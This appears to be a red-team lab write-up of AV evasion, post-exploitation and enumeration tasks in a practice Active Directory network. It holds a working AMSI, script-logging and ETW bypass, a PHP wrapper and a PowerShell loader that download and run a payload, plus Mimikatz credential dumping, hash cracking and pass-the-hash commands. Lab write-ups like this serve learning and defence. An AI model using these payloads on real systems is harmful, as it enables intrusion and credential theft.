As new EDR solutions and prevention methods are released, we as red teamers need to change and evolve our TTPs to work around the ever-growing blue team. Often, techniques themselves don’t change, but scripts and solutions like and indicators can make it harder to get our payloads and tools past even when bypassed and obfuscated, or we have other restrictions in place we need to workaround. In this case, we can use code analysis and manual code review to break signatures. A few tools can help us along the way for code analysis, including ThreatCheck (, and DefenderCheck ( Both of these tools will ingest a given file and output the found bytes attached to signatures.


ThreatCheck has a small argument list, and syntax is relatively straightforward. Find a list of arguments and a syntax example below.

  • -e or —engine (AMSI or Defender)
  • -f or —file
  • -u or —url

Syntax: ThreatCheck.exe -f <file>

In this task, we will be focusing on analyzing the Covenant source code; however, ThreatCheck can be used on any tools or payloads you need to clean.

Below you will find an example of the first bad byte that ThreatCheck will discover. ThreatCheck will aggregate bytes based on their signature strength, the lowest being the strongest signature and what you should prioritize breaking.

STOP THE PRESS – Covenant is NOT for us.

OK, so it was about this point that I discovered that Covenant was not going to be the solution for this task in this day in age. I am sure that with enough manual tweaking you could potentially get anything working… but I didn’t want to have to manually re-write each Grunt and then obfuscate it with an outside utility (and there isn’t many that were even successful against the new Defender). So I turned my attention back to Empire, which is still to this day being developed and updated.

I tried a range of C# agents and modifications to get it to work and the best I could achieve was undetectable using C# obfuscators that were… well, not "free". Wanting to not have to use paid tools to complete the task, I decided that finding another method was best.

So I turned back to the old faithful multi/launcher powershell variant, and with a bit of tweaking to the setup I managed to get it to produce a payload that bypasses AMSI, ScriptBlockLog and ETW, with the right level of obfuscation to trick a current-day install of Windows 10 to running an agent. Here is the configuration:

usestager multi/launcher
set Base64 False
set Bypasses liberman scriptblocklog etw
set Obfuscate True
set ObfuscateCommand Token\\String\\2,Token\\Command\\2,Token\\Argument\\3,Token\\Member\\3,Token\\Variable\\1,Token\\Type\\2

Although when running the outputted script it will produce errors (and may not work the first time ran), this will still get us the initial foothold.

(first line was the initial attempt, second line is the successful connection)

But what about SharpEDRChecker?!

Yeah… about that…

The new BC-Security builds of Empire use the same Roslyn compiler method to build and send copies of C# apps to agents on the fly that Covenant uses, taken directly from Covenant itself… This meant that it should be relatively easy to port it over to Empire right?

I managed to somewhat integrate SharpEDRChecker into the Empire csharp module. I had to manually copy System.Xml.Linq.dll from my Win10 development box into /opt/Empire/empire/server/csharp/Covenant/Data/AssemblyReferences/net40

Also, the task does NOT explain how to build the required YAML project file for SharpEDRChecker… so I had to research and build my own.

- Name: SharpEDRChecker
  Aliases: []
  Description: C# application that checks for AV and EDR on target.
      Name: stimpz0r
      Handle: stimpz0r
  Language: CSharp
  - Net40
  Code: |
    using System;
    using System.IO;
    using System.Reflection;

    using SharpEDRChecker;

    public static class Task
        public static Stream OutputStream { get; set; }
        public static string Execute(string Command = "")
                TextWriter realStdOut = Console.Out;
                TextWriter realStdErr = Console.Error;
                StreamWriter stdOutWriter = new StreamWriter(OutputStream);
                StreamWriter stdErrWriter = new StreamWriter(OutputStream);
                stdOutWriter.AutoFlush = true;
                stdErrWriter.AutoFlush = true;

                string[] args = Command.Split(' ');
                typeof(Program).GetMethod("Main", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { args });


                return "";
            catch (Exception e)
              if (OutputStream != null)
              return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
  TaskingType: Assembly
  UnsafeCompile: false
  TokenTask: false
  Options: []
  - Name: SharpEDRChecker
    Description: SharpEDRChecker is a .NET assembly that checks for AV and EDR systems installed on the target.
    Location: SharpEDRChecker\
    Language: CSharp
    - Net40
    - Name: mscorlib.dll
      Location: net40\mscorlib.dll
      DotNetVersion: Net40
    - Name: Microsoft.CSharp.dll
      Location: net40\Microsoft.CSharp.dll
      DotNetVersion: Net40
    - Name: System.dll
      Location: net40\System.dll
      DotNetVersion: Net40
    - Name: System.Core.dll
      Location: net40\System.Core.dll
      DotNetVersion: Net40
    - Name: System.Data.dll
      Location: net40\System.Data.dll
      DotNetVersion: Net40
    - Name: System.Data.DataSetExtensions.dll
      Location: net40\System.Data.DataSetExtensions.dll
      DotNetVersion: Net40
    - Name: System.Management.dll
      Location: net40\System.Management.dll
      DotNetVersion: Net40
    - Name: System.ServiceProcess.dll
      Location: net40\System.ServiceProcess.dll
      DotNetVersion: Net40
    - Name: System.XML.dll
      Location: net40\System.XML.dll
      DotNetVersion: Net40
    - Name: System.Xml.Linq.dll
      Location: net40\System.Xml.Linq.dll
      DotNetVersion: Net40
    EmbeddedResources: []
  ReferenceAssemblies: []
  EmbeddedResources: []

Unfortunately, even after all that, the agent will run the task, but never returns anything… this is also true with built-in csharp modules such as Seatbelt (which uses an identical method)… this COULD be Defender blocking the downloaded apps… but more likely that it is just broken.

Both Covenant and Empire also use ConfuserEx to obfuscate the compiled binaries – that not only breaks other obfuscation, but does not stop Defender finding the binary at all… it leaves the variables / strings in plain text for the world (and Defender) to see. I ended up disabling it in the Empire source code and using another (non-free) obfuscator to hide the agents from Defender.

Task 35 – AV Evasion – Wrapping the burrito

This task basically covers building a PHP wrapper to use on S-SRV01 to upload and execute the payload… since I opted for an Empire powershell payload, instead of breaking it down into two commands like the task shows, I will do it in one.

The below uses Invoke-Webrequest (or IWR) to download the obfuscated script then starts the Empire agent via IEX (Invoke-Expression). This will leave the .ps1 script on the target machine… (perhaps I should have added on a rm?)

NOTE: I took this to a new level for mine… well, in the sense that no matter how hard I tried, I could not get the powershell stager to work… so I switched to using a 2 stage powershell/C# loader (which was probably overkill)

CODE >> stage0.php
    function stage0() {
        $init = "powershell.exe -nop -sta -ep bypass";
        $payload = "IEX(New-Object Net.WebClient).downloadString('')";
        $execution_command = "shell_exec";
        $query = $execution_command("$init $payload");
        echo $query;
CODE >> stage1.ps1 (semi-obfuscated)
  • Final variant was obfuscated with Invoke-Obfuscation:
  • Token\String\1
  • Token\Type\1
  • Token\Variable\1
  • Token\Argument\2
  • Token\Command\1
  • Token\Member\2
  • String\3

The below has minor obfuscation, the very first variable being something I modified the source of Empire to achieve as it was causing issues with AMSI.

This script not only creates an AMSI bypass, but a ScriptBlockLogging and ETW bypass to boot. It then downloads and executes an obfuscated binary that starts the Empire agent.

If(${PS<code>VerSIonTaBLe}.PSVeRsIoN.MajoR -GE 3){$MethodDefinition = "[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("kernel32")]public static extern IntPtr GetModuleHandle(string lpModuleName);[DllImport("kernel32")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);";$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;$ABSD = 'AmsiS'+'canBuffer';$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);[UInt32]$Size = 0x5;[UInt32]$ProtectFlag = 0x40;[UInt32]$OldProtectFlag = 0;[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag,[Ref]$OldProtectFlag);$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57,[UInt32]0x00,[Uint32]0x07,[Uint32]0x80,[Uint32]0xC3);[system.runtime.interopservices.marshal]::copy($buf, 0,$BufferAddress, 6); $11Bd8=[ReF].AsSEmBly.GetTYpE('System.Management.Automation.Utils')."GeTFiELd"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($11bd8){$A18E1=$11bD8.GEtValuE($NULL);If($A18e1['ScriptB'+'lockLogging']){$a18e1['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$A18e1['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$VaL=[COlLECtIONS.GeNeRiC.DictIoNARY[STRIng,SysTEM.ObJEct]]::NEw();$vaL.AdD('EnableScriptB'+'lockLogging',0);$VaL.AdD('EnableScriptBlockInvocationLogging',0);$A18E1['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$Val}ELSE{[SCrIpTBLoCK]."GEtFIeld"('signatures','N'+'onPublic,Static').SETValue($NuLl,(NEw-OBJect ColleCTionS.GenErIc.HAsHSET[StRiNg]))}[System.Diagnostics.Eventing.EventProvider]."GetField"('m_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."GetField"('et'+'wProvider','NonPub'+'lic,S'+'tatic').GetValue($null),0);}; Invoke-WebRequest -OutFile s2.exe; .\s2.exe
  • s2.exe was an Empire C# agent, obfuscated using a non-freeware obfuscator.

Task 36 – Post Exploitation – That’s not a cat that’s a dawg

This task shows the steps on how to execute Mimikatz via Covenant… since I am not using Covenant (for reasons previously mentioned) I have instead shown the steps below for running Mimikatz via the csharp/Sharpsploit.Credentials/Mimikatz module in Empire.

ENUM >> Mimikatz (via Empire)

(Empire: S5AT6TXN) > usemodule csharp/Sharpsploit.Credentials/Mimikatz
[*] Set Agent to S5AT6TXN

 Author       cobbr_io
 Background   False
 Description  Execute a mimikatz command.
 Language     csharp
 Name         csharp/Sharpsploit.Credentials/Mimikatz
 NeedsAdmin   False
 OpsecSafe    False

┌Record Options─┬──────────────────────────┬──────────┬─────────────────────────────────┐
│ Name          │ Value                    │ Required │ Description                     │
│ Agent         │ S5AT6TXN                 │ True     │ Agent to run module on.         │
│ Command       │ sekurlsa::logonPasswords │ True     │ Mimikatz command to execute.    │
│ DotNetVersion │ Net35                    │ True     │ .NET version to compile against │

(Empire: usemodule/csharp/Sharpsploit.Credentials/Mimikatz) > set Command privilege::debug token::elevate sekurlsa::logonpasswords
[*] Set Command to privilege::debug token::elevate sekurlsa::logonpasswords
(Empire: usemodule/csharp/Sharpsploit.Credentials/Mimikatz) > execute
[*] Tasked S5AT6TXN to run Task 55
[*] Task 55 results received

  .#####.   mimikatz 2.2.0 (x64) #19041 Jun  9 2021 18:55:28
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY 'gentilkiwi' ( )
 ## \ / ##       >
 '## v ##'       Vincent LE TOUX             ( )
  '#####'        > / ***/

mimikatz(powershell) # privilege::debug
Privilege '20' OK

mimikatz(powershell) # token::elevate
Token Id  : 0
User name :

668     {0;000003e7} 1 D 21315          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;000003e7} 0 D 1069076     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,28p)       Primary
 * Thread Token  : {0;000003e7} 1 D 1284062     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 284199 (00000000:00045627)
Session           : Interactive from 1
User Name         : watamet
Domain            : HOLOLIVE
Logon Server      : DC-SRV01
Logon Time        : 1/27/2022 4:36:17 AM
SID               : S-1-5-21-471847105-3603022926-1728018720-1132
        msv :
         [00000003] Primary
         * Username : watamet
         * Domain   : HOLOLIVE
         * NTLM     : <REDACTED>
         * SHA1     : <REDACTED>
         * DPAPI    : <REDACTED>
        tspkg :
        wdigest :
         * Username : watamet
         * Domain   : HOLOLIVE
         * Password : (null)
        kerberos :
         * Username : watamet
         * Domain   : HOLO.LIVE
         * Password : <REDACTED>
        ssp :
        credman :

LOOT >> watamet‘s cracked hash (via HashCat)!
❯ hashcat -m 1000 s-srv01_watamet.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz, 5121/5185 MB (2048 MB allocatable), 4MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec


Session..........: hashcat
Status...........: Cracked
Hash.Name........: NTLM
Hash.Target......: <REDACTED>
Time.Started.....: Thu Jan 27 17:01:42 2022 (3 secs)
Time.Estimated...: Thu Jan 27 17:01:45 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  4220.2 kH/s (0.26ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10780672/14344385 (75.16%)
Rejected.........: 0/10780672 (0.00%)
Restore.Point....: 10776576/14344385 (75.13%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Nov2599 -> NicoleBates3

Started: Thu Jan 27 17:01:20 2022
Stopped: Thu Jan 27 17:01:46 2022

Task 37 – Post Exploitation – Good Intentions, Courtesy of Microsoft: Part II

This room covers Pass the Hash (PtH) attacks… these have been covered before in other AD related rooms, but one handy tool that has not been touched on before is CrackMapExec (CME).

From the CrackMapExec GitHub, "CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of "Living off the Land": abusing built-in Active Directory features/protocols to achieve its functionality and allowing it to evade most endpoint protection/IDS/IPS solutions." We will be using only one of the many features of CME. We can pass the hash over SMB, SSH, WinRM, LDAP, or MSSQL; we recommend using SMB.

crackmapexec smb -u <user> -d <domain> -H <hash>

ENUM >> CrackMapExec scanning via SMB

❯ crackmapexec smb -u watamet -d -H <REDACTED>

SMB   445    PC-FILESRV01     [*] Windows 10.0 Build 17763 x64 (name:PC-FILESRV01) ( (signing:False) (SMBv1:False)
SMB   445    S-SRV01          [*] Windows 10.0 Build 17763 x64 (name:S-SRV01) ( (signing:False) (SMBv1:False)
SMB   445    DC-SRV01         [*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) ( (signing:False) (SMBv1:False)
SMB   445    PC-FILESRV01     [+]\watamet <REDACTED>
SMB   445    S-SRV01          [+]\watamet <REDACTED> (Pwn3d!)
SMB   445    DC-SRV01         [+]\watamet <REDACTED>

NOTE: This room also goes over using Evil-WinRM to access PC-FILESRV01 – however this does not work in this case, as watamet does not have WinRM access to PC-FILESRV01… not sure if that was intentional or not (as the task does mention "If successfully authenticated, you should now have a working WinRM shell that you can use to execute remote commands.")

However, watamet DOES have RDP access to that box… sigh slowness…

Task 38 – Post Exploitation – Watson left her locker open

This task covers AppLocker, a Microsoft tool to control policies to specify where users can execute programs on the machine. I will leave out the long-winded explination (as it is all there in the task), however I will leave the link to the PowerShell script used to enumerate AppLocker, and a link to a Github with a bunch of info on AppLocker (including default bypasses).

ENUM >> applocker-bypass-checker.ps1 output

PS C:\Users\watamet\Documents> .\abc.ps1
[*] Processing folders recursively in C:\windows
[+]  C:\windows\Tasks
[+]  C:\windows\tracing
[+]  C:\windows\System32\spool\drivers\color
[+]  C:\windows\tracing\ProcessMonitor

Task 39 – Situational Awareness – So it’s just fancy malware?

This task covers the usage of Seatbelt and SharpEDRChecker to detect AV / Anti-Malware tools.


  • URL:
  • Seatbelt.exe -group=system will cover the scans that check for AV
  • Seatbelt.exe -group=remote -computername=PC-FILESRV01\watamet -password=Nothingtoworry! would do a remote check…


  • URL:
  • .\SharpEDRChecker.exe to run all tests
  • Results can be depenedant of account access – SYSTEM accounts MAY show more information.

    NOTE: The below question and answer is correct, but there was no sign of AMSI running on this machine. I did the Invoke-Mimikatz test and it did not return the usual AMSI "malicious’ response (meaning it is not loaded).

Task 40 – Situational Awareness – SEATBELT CHECK!

This task further covers Seatbelt enumeration…

  • Seatbelt.exe all to run all checks.

I won’t include the output of this command, it’s MASSIVE!

Task 40 – Situational Awareness – ALL THE POWER!

This task covers enumeration with PowerView.ps1.

This tool is no longer supported but is still considered a standard for enumeration. From the PowerSploit GitHub, "PowerView is a PowerShell tool to gain network situational awareness on Windows domains. It contains a set of pure-PowerShell replacements for various windows net * commands, which utilize PowerShell AD hooks and underlying Win32 API functions to perform useful Windows domain functionality."

To use the script, we will first need to import it then run the commands that we want to enumerate the endpoint. Find syntax and a few essential commands you can use with PowerView.

Syntax: Import-Module .\PowerView.ps1

  • Get-NetLocalGroup
PS C:\Windows\System32\spool\drivers\color> Get-NetLocalGroup

ComputerName GroupName                           Comment
------------ ---------                           -------
PC-FILESRV01 Access Control Assistance Operators Members of this group can remotely query autho...
PC-FILESRV01 Administrators                      Administrators have complete and unrestricted ...
PC-FILESRV01 Backup Operators                    Backup Operators can override security restric...
PC-FILESRV01 Certificate Service DCOM Access     Members of this group are allowed to connect t...
PC-FILESRV01 Cryptographic Operators             Members are authorized to perform cryptographi...
PC-FILESRV01 Device Owners                       Members of this group can change system-wide s...
PC-FILESRV01 Distributed COM Users               Members are allowed to launch, activate and us...
PC-FILESRV01 Event Log Readers                   Members of this group can read event logs from...
PC-FILESRV01 Guests                              Guests have the same access as members of the ...
PC-FILESRV01 Hyper-V Administrators              Members of this group have complete and unrest...
PC-FILESRV01 IIS_IUSRS                           Built-in group used by Internet Information Se...
PC-FILESRV01 Network Configuration Operators     Members in this group can have some administra...
PC-FILESRV01 Performance Log Users               Members of this group may schedule logging of ...
PC-FILESRV01 Performance Monitor Users           Members of this group can access performance c...
PC-FILESRV01 Power Users                         Power Users are included for backwards compati...
PC-FILESRV01 Print Operators                     Members can administer printers installed on d...
PC-FILESRV01 RDS Endpoint Servers                Servers in this group run virtual machines and...
PC-FILESRV01 RDS Management Servers              Servers in this group can perform routine admi...
PC-FILESRV01 RDS Remote Access Servers           Servers in this group enable users of RemoteAp...
PC-FILESRV01 Remote Desktop Users                Members in this group are granted the right to...
PC-FILESRV01 Remote Management Users             Members of this group can access WMI resources...
PC-FILESRV01 Replicator                          Supports file replication in a domain
PC-FILESRV01 Storage Replica Administrators      Members of this group have complete and unrest...
PC-FILESRV01 System Managed Accounts Group       Members of this group are managed by the system.
PC-FILESRV01 Users                               Users are prevented from making accidental or ...
  • Get-NetLocalGroupMember -Group Administrators
PS C:\Windows\System32\spool\drivers\color> Get-NetLocalGroupMember -Group Administrators

ComputerName : PC-FILESRV01
GroupName    : Administrators
MemberName   : PC-FILESRV01\Administrator
SID          : S-1-5-21-4241685735-4112329853-1893400299-500
IsGroup      : False
IsDomain     : False

ComputerName : PC-FILESRV01
GroupName    : Administrators
MemberName   : HOLOLIVE\Domain Admins
SID          : S-1-5-21-471847105-3603022926-1728018720-512
IsGroup      : True
IsDomain     : True
  • Get-NetLoggedon
PS C:\Windows\System32\spool\drivers\color> Get-NetLoggedon

UserName     : watamet
LogonDomain  : HOLOLIVE
AuthDomains  :
LogonServer  : DC-SRV01
ComputerName : localhost

UserName     : PC-FILESRV01$
LogonDomain  : HOLOLIVE
AuthDomains  :
LogonServer  :
ComputerName : localhost

UserName     : PC-FILESRV01$
LogonDomain  : HOLOLIVE
AuthDomains  :
LogonServer  :
ComputerName : localhost

UserName     : PC-FILESRV01$
LogonDomain  : HOLOLIVE
AuthDomains  :
LogonServer  :
ComputerName : localhost

UserName     : PC-FILESRV01$
LogonDomain  : HOLOLIVE
AuthDomains  :
LogonServer  :
ComputerName : localhost

UserName     : PC-FILESRV01$
LogonDomain  : HOLOLIVE
AuthDomains  :
LogonServer  :
ComputerName : localhost

UserName     : PC-FILESRV01$
LogonDomain  : HOLOLIVE
AuthDomains  :
LogonServer  :
ComputerName : localhost
  • Get-DomainGPO
PS C:\Windows\System32\spool\drivers\color> Get-DomainGPO

usncreated               : 5672
systemflags              : -1946157056
displayname              : Default Domain Policy
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB
whenchanged              : 12/31/2021 1:08:39 AM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 2147368
dscorepropagationdata    : {10/23/2020 1:33:58 AM, 10/22/2020 11:43:31 PM, 1/1/1601 12:00:00 AM}
name                     : {31B2F340-016D-11D2-945F-00C04FB984F9}
flags                    : 0
cn                       : {31B2F340-016D-11D2-945F-00C04FB984F9}
iscriticalsystemobject   : True
gpcfilesyspath           : \\\sysvol\\Policies\{31B2F340-016D-11D2-945F-00C04FB9
distinguishedname        : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=holo
whencreated              : 10/22/2020 11:41:59 PM
versionnumber            : 71
instancetype             : 4
objectguid               : 5d03de40-73dd-48d7-8eb7-90a633113913
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=holo,DC=live

usncreated               : 5675
systemflags              : -1946157056
displayname              : Default Domain Controllers Policy
gpcmachineextensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90
whenchanged              : 8/31/2021 4:24:11 AM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 1952694
dscorepropagationdata    : {10/23/2020 1:33:58 AM, 10/22/2020 11:43:31 PM, 1/1/1601 12:00:00 AM}
name                     : {6AC1786C-016F-11D2-945F-00C04fB984F9}
flags                    : 0
cn                       : {6AC1786C-016F-11D2-945F-00C04fB984F9}
iscriticalsystemobject   : True
gpcfilesyspath           : \\\sysvol\\Policies\{6AC1786C-016F-11D2-945F-00C04fB9
distinguishedname        : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=holo
whencreated              : 10/22/2020 11:41:59 PM
versionnumber            : 22
instancetype             : 4
objectguid               : 18a7cb1f-a6d4-4014-8e4b-8a6af2662d8a
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=holo,DC=live
  • Find-LocalAdminAccess
PS C:\Windows\System32\spool\drivers\color> Find-LocalAdminAccess

Task 42 – Situational Awareness – Import-Module PowerUpGreySkull.ps1

This task covers enumeration using nothing but standard PowerShell commands… some of (most of?) these have been covered in other topics, and are all pretty self-explanatory… like the last task, this will simply show the output of each command listed in this task on PC-FILESRV01

NOTE: This room seems further broken due to the fact that you cannot actually find the target scheduled task in the list… which could be the fact that it doesn’t exist (I hope not!) or you need to be SYSTEM to see it… either way, the steps in the task give a big hint to do Get-ScheduledTask -TaskPath "\Users\" but that turns up nothing:

Because of this, the example command output below that look deeper into the Scheduled Tasks list are aimed at a random system-generated task.

PowerShell Enumeration

  • Get-ScheduledTask
PS C:\Windows\System32\spool\drivers\color> Get-ScheduledTask

TaskPath                                       TaskName                          State
--------                                       --------                          -----
\Microsoft\Windows\                            Server Initial Configuration Task Disabled
\Microsoft\Windows\.NET Framework\             .NET Framework NGEN v4.0.30319    Ready
\Microsoft\Windows\.NET Framework\             .NET Framework NGEN v4.0.30319 64 Ready
\Microsoft\Windows\.NET Framework\             .NET Framework NGEN v4.0.30319... Disabled
\Microsoft\Windows\.NET Framework\             .NET Framework NGEN v4.0.30319... Disabled
\Microsoft\Windows\Active Directory Rights ... AD RMS Rights Policy Template ... Disabled
\Microsoft\Windows\Active Directory Rights ... AD RMS Rights Policy Template ... Ready
\Microsoft\Windows\AppID\                      PolicyConverter                   Ready
\Microsoft\Windows\AppID\                      VerifiedPublisherCertStoreCheck   Ready
\Microsoft\Windows\Application Experience\     Microsoft Compatibility Appraiser Ready
\Microsoft\Windows\Application Experience\     ProgramDataUpdater                Running
\Microsoft\Windows\Application Experience\     StartupAppTask                    Ready
\Microsoft\Windows\ApplicationData\            appuriverifierdaily               Ready
\Microsoft\Windows\ApplicationData\            appuriverifierinstall             Ready
\Microsoft\Windows\ApplicationData\            CleanupTemporaryState             Ready
\Microsoft\Windows\ApplicationData\            DsSvcCleanup                      Ready
\Microsoft\Windows\AppxDeploymentClient\       Pre-staged app cleanup            Disabled
\Microsoft\Windows\Autochk\                    Proxy                             Ready
\Microsoft\Windows\BitLocker\                  BitLocker Encrypt All Drives      Ready
\Microsoft\Windows\BitLocker\                  BitLocker MDM policy Refresh      Ready
\Microsoft\Windows\Bluetooth\                  UninstallDeviceTask               Disabled
\Microsoft\Windows\BrokerInfrastructure\       BgTaskRegistrationMaintenanceTask Ready
\Microsoft\Windows\CertificateServicesClient\  UserTask                          Ready
\Microsoft\Windows\CertificateServicesClient\  UserTask-Roam                     Ready
\Microsoft\Windows\Chkdsk\                     ProactiveScan                     Ready
\Microsoft\Windows\Chkdsk\                     SyspartRepair                     Ready
\Microsoft\Windows\CloudExperienceHost\        CreateObjectTask                  Ready
\Microsoft\Windows\Customer Experience Impr... Consolidator                      Ready
\Microsoft\Windows\Customer Experience Impr... UsbCeip                           Ready
\Microsoft\Windows\Data Integrity Scan\        Data Integrity Scan               Ready
\Microsoft\Windows\Data Integrity Scan\        Data Integrity Scan for Crash ... Ready
\Microsoft\Windows\Defrag\                     ScheduledDefrag                   Ready
\Microsoft\Windows\Device Information\         Device                            Ready
\Microsoft\Windows\Diagnosis\                  Scheduled                         Ready
\Microsoft\Windows\DirectX\                    DXGIAdapterCache                  Ready
\Microsoft\Windows\DiskCleanup\                SilentCleanup                     Ready
\Microsoft\Windows\DiskDiagnostic\             Microsoft-Windows-DiskDiagnost... Disabled
\Microsoft\Windows\DiskDiagnostic\             Microsoft-Windows-DiskDiagnost... Disabled
\Microsoft\Windows\DiskFootprint\              Diagnostics                       Ready
\Microsoft\Windows\DiskFootprint\              StorageSense                      Ready
\Microsoft\Windows\EDP\                        EDP App Launch Task               Ready
\Microsoft\Windows\EDP\                        EDP Auth Task                     Ready
\Microsoft\Windows\EDP\                        EDP Inaccessible Credentials Task Ready
\Microsoft\Windows\EDP\                        StorageCardEncryption Task        Ready
\Microsoft\Windows\ExploitGuard\               ExploitGuard MDM policy Refresh   Ready
\Microsoft\Windows\File Classification Infr... Property Definition Sync          Disabled
\Microsoft\Windows\Flighting\FeatureConfig\    ReconcileFeatures                 Ready
\Microsoft\Windows\Flighting\OneSettings\      RefreshCache                      Ready
\Microsoft\Windows\InstallService\             ScanForUpdates                    Disabled
\Microsoft\Windows\InstallService\             ScanForUpdatesAsUser              Disabled
\Microsoft\Windows\InstallService\             WakeUpAndContinueUpdates          Disabled
\Microsoft\Windows\InstallService\             WakeUpAndScanForUpdates           Disabled
\Microsoft\Windows\LanguageComponentsInstal... Installation                      Ready
\Microsoft\Windows\Location\                   Notifications                     Ready
\Microsoft\Windows\Location\                   WindowsActionDialog               Ready
\Microsoft\Windows\Maintenance\                WinSAT                            Ready
\Microsoft\Windows\Maps\                       MapsToastTask                     Disabled
\Microsoft\Windows\Maps\                       MapsUpdateTask                    Disabled
\Microsoft\Windows\MemoryDiagnostic\           ProcessMemoryDiagnosticEvents     Disabled
\Microsoft\Windows\MemoryDiagnostic\           RunFullMemoryDiagnostic           Disabled
\Microsoft\Windows\Mobile Broadband Accounts\  MNO Metadata Parser               Ready
\Microsoft\Windows\MUI\                        LPRemove                          Ready
\Microsoft\Windows\Multimedia\                 SystemSoundsService               Disabled
\Microsoft\Windows\NetTrace\                   GatherNetworkInfo                 Ready
\Microsoft\Windows\Offline Files\              Background Synchronization        Disabled
\Microsoft\Windows\Offline Files\              Logon Synchronization             Disabled
\Microsoft\Windows\PLA\                        Server Manager Performance Mon... Disabled
\Microsoft\Windows\Plug and Play\              Device Install Group Policy       Ready
\Microsoft\Windows\Plug and Play\              Device Install Reboot Required    Ready
\Microsoft\Windows\Plug and Play\              Sysprep Generalize Drivers        Ready
\Microsoft\Windows\Power Efficiency Diagnos... AnalyzeSystem                     Queued
\Microsoft\Windows\RecoveryEnvironment\        VerifyWinRE                       Disabled
\Microsoft\Windows\Registry\                   RegIdleBackup                     Ready
\Microsoft\Windows\Server Manager\             CleanupOldPerfLogs                Ready
\Microsoft\Windows\Server Manager\             ServerManager                     Ready
\Microsoft\Windows\Servicing\                  StartComponentCleanup             Ready
\Microsoft\Windows\SharedPC\                   Account Cleanup                   Disabled
\Microsoft\Windows\Shell\                      CreateObjectTask                  Ready
\Microsoft\Windows\Shell\                      IndexerAutomaticMaintenance       Ready
\Microsoft\Windows\Software Inventory Logging\ Collection                        Disabled
\Microsoft\Windows\Software Inventory Logging\ Configuration                     Ready
\Microsoft\Windows\SoftwareProtectionPlatform\ SvcRestartTaskLogon               Ready
\Microsoft\Windows\SpacePort\                  SpaceAgentTask                    Ready
\Microsoft\Windows\SpacePort\                  SpaceManagerTask                  Ready
\Microsoft\Windows\Speech\                     HeadsetButtonPress                Ready
\Microsoft\Windows\Storage Tiers Management\   Storage Tiers Management Initi... Ready
\Microsoft\Windows\Storage Tiers Management\   Storage Tiers Optimization        Disabled
\Microsoft\Windows\Task Manager\               Interactive                       Ready
\Microsoft\Windows\termsrv\RemoteFX\           RemoteFXvGPUDisableTask           Ready
\Microsoft\Windows\termsrv\RemoteFX\           RemoteFXWarningTask               Ready
\Microsoft\Windows\TextServicesFramework\      MsCtfMonitor                      Ready
\Microsoft\Windows\Time Synchronization\       ForceSynchronizeTime              Ready
\Microsoft\Windows\Time Synchronization\       SynchronizeTime                   Ready
\Microsoft\Windows\Time Zone\                  SynchronizeTimeZone               Ready
\Microsoft\Windows\UPnP\                       UPnPHostConfig                    Disabled
\Microsoft\Windows\WDI\                        ResolutionHost                    Ready
\Microsoft\Windows\Windows Defender\           Windows Defender Cache Mainten... Ready
\Microsoft\Windows\Windows Defender\           Windows Defender Cleanup          Ready
\Microsoft\Windows\Windows Defender\           Windows Defender Scheduled Scan   Ready
\Microsoft\Windows\Windows Defender\           Windows Defender Verification     Ready
